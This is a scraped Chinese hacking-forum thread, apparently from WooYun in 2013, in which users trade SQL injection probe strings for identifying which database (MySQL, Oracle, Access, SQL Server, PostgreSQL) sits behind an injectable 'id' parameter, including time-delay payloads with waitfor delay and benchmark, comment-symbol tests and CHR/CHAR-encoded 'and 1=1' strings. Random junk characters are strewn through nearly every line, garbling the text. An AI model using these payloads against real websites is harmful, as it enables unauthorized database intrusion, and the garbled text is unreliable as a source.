一个注射点如何最快速确认是什么类型数据库7 u a# J4 ~8 C, a
xsser (十根阳具有长短!!) | 2013-02-05 12:36" o& t( u* H" e4 W( ~5 s3 \
假设这么一个注射点:& s: m& u/ f! Z
show.html?id=2% G. a/ X' ~2 v) d& ^
mysql:id=2 and version()>0, I" g( h8 Q/ k9 S. a- D
oracle:id=2 and '1'||'1'='11
3 r" S1 H8 t1 Z& G# Y其他的欢迎补充
4 [* O' x! B6 {' |; y7 o7 Z* {: v1#
, y5 t1 ?7 ^) R0 h8 |& C( s4 O- Dupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
6 d& Q5 U/ [8 [% [6 iAccess:7 z/ y( A4 y* I
aNd aSc(cHr(97))=97% M% O6 p: u2 x; L! S3 g) e( K" G
and exists(select id from MSysAccessObjects)
9 P' E$ e* C7 H) w" t9 eSQL Server:( }# R1 s o8 `5 n6 m; z
and exists(select id from sysobjects)
7 J# @; @3 p7 eand length(user)>0
% _ D6 V0 n4 I9 C9 v0 E4 DMySQL:: f! z6 [' J! o1 V/ J
and length(user())>02 w- ~6 z, Z+ F' Q& H( M5 y
2#
7 ?- ~, y5 C2 Y4 N" {$ |xsser (十根阳具有长短!!) | 2013-02-05 12:48
% O9 j9 `$ G: V/ g+ }9 S$ w4 z@upload 如果这些都不是呢…1 R" \7 Y( G/ c W9 h1 ] D
3#
% ]/ b# y* _- B" {4 [- Z/ pupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03$ M0 I4 o) r" u5 ]5 l/ @5 k
@xsser 不快速的,延时注入7 [$ h/ I0 ^7 F* |- }8 W
不知道这样写对不对4 z$ S: J+ p6 M4 C
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
0 D) k8 `4 y/ m9 T( s O9 t% rmysql:id=2 and select benchmark(1e8,current_date());& V" Y$ u, H+ v; e
4#
2 A! s f: b) g. L; Cupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:107 l# K% ^. J0 d0 a" R& {+ m
最快的貌似是看报错信息( N2 N9 q% O# s, Y' u
oracle error
& {( U, I6 V3 A! |2 a. I4 Omssql error
9 _1 V9 N- K2 I. _1 X/ smysql error
! y8 P3 k/ T0 @- V K6 d2 ~ P5#, U b) D1 C% y, M1 B
Nimda (你们都是坏银~) | 2013-02-05 13:14
& n+ L# d# \3 [9 ~2 I小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
z- r+ @# P9 r6#
/ A. a% C: v1 M4 r2 Fupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
6 f7 e9 A5 q+ x6 k" l“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:6 i& j) m# U, [0 k9 u
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
' i/ u q6 a; _# z8 B. w. O“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。6 ~( G$ j* q1 v# Q$ t% _8 A
7#
, H. Q: [% k! Z# @% Y_Evil (HackEnd) | 2013-02-05 13:33# Y& _+ [8 I( j v* M2 @5 t2 ^
PostgreSQL
. m0 V/ j6 G& M+ h4 ]! f7 K; y B9 n8#6 g- i" ~# }9 U& p; K
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
, N w7 W6 p4 x l1 L切换编码 and 1=1
' \! {- |) h& C3 H5 D* \: poracle:$ H: v/ e8 y/ _; y8 T7 `7 [/ _: c
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
' f9 e' `. e! J6 x; Q( A1 smssql:
# \. [9 x2 a- c. u0 ?- Z' hCHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
' ?* H! O& k5 g0 jmysql:
4 A/ N6 ?4 e! N9 {7 _1 PCHAR(97, 110, 100, 32, 49, 61, 49) r8 i5 e" ?& D* Z/ p
9#! J" F0 P) a, f! }" S
xsser (十根阳具有长短!!) | 2013-02-05 14:310 Q, G% k8 ]+ `/ j, {6 i
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?0 ^; B: f/ T5 y. L9 K
10#) o9 z, L: Z8 f$ ?( M7 j! Y! D4 R
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46- x1 S& w+ s: C1 A4 W
@xsser 是奇葩数据库类型的么?$ \& b7 ?+ w8 M( g2 V3 L" j* y$ O( |
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
: Z' C( @+ W5 F1.是否可以使用特定的函数来判断,该数据库特有的
3 L' F; R; w9 M+ [: Q$ h& ?2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等' N& s! X4 i4 m- |0 s
3.是否可以编码查询
" ? R3 [' d7 x6 C+ j, _$ ^4.是否显可以利用错信息9 h6 G1 B" I7 g+ q! f+ H
5.是否存在数据库某些特性辅助判断
+ J+ b2 X0 J) f8 j) J' Q个人见解
# ^$ g, F7 S- ^( W2 Z' ~. Z: G/ p11#! }' M* C8 l+ }3 r. a: M
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
" N4 @* x- [# Y4 A ~/ J已收藏,mssql可以直接看到错误提示的吧~) E0 l7 ^, S7 @; j
12#
5 M$ ?) _! h9 ? }, e, gPasser_by | 2013-02-05 15:097 g; ^+ e: B2 e: T& g' `
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。) q9 w( d. g& z3 O
from:http://zone.wooyun.org/content/260 |